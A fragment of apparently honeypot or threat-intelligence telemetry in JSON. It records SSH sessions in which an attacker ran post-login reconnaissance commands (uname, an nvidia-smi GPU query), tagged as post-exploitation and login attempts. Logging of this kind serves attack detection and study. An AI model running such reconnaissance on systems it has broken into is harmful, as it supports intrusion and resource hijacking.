1","payload_hex":"6e76696469612d736d69202d71207c2067726570202250726f64756374204e616d6522207c2061776b20277b7072696e742024342c2024352c2024362c2024372c2024382c2024392c202431302c202431317d27207c207763202d6c207c2068656164202d632031","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b22693b79384afac","strings":["nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $…"]},"interactive":true},{"timestamp":"2026-10-20T20:11:48","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -r | awk '{printf $1}'","payload_hex":"756e616d65202d72207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8a10186bfcbd2235","strings":["uname -r | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-20T20:11:48","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m | awk '{printf $1}'","payload_hex":"756e616d65202d6d207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3163819a0a610318","strings":["uname -m | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-20T20:11:47","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -n | awk '{printf $1}'","payload_hex":"756e616d65202d6e207c2061776b20277b7072696e74662024317d27","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e64200618a743be7","strings":["uname -n | awk '{printf $1}'"]},"interactive":true},{"timestamp":"2026-10-20T20:11:46","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m","payload_hex":"756e616d65202d6d","method":"","user_agent":"","ja3":"","session":"fc7bcf49-1206-443e-9e12-d9745dc335a0-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c7a75171158ee220","strings":["uname -m"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-Go","count":1}],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":56},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":44},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":58}]}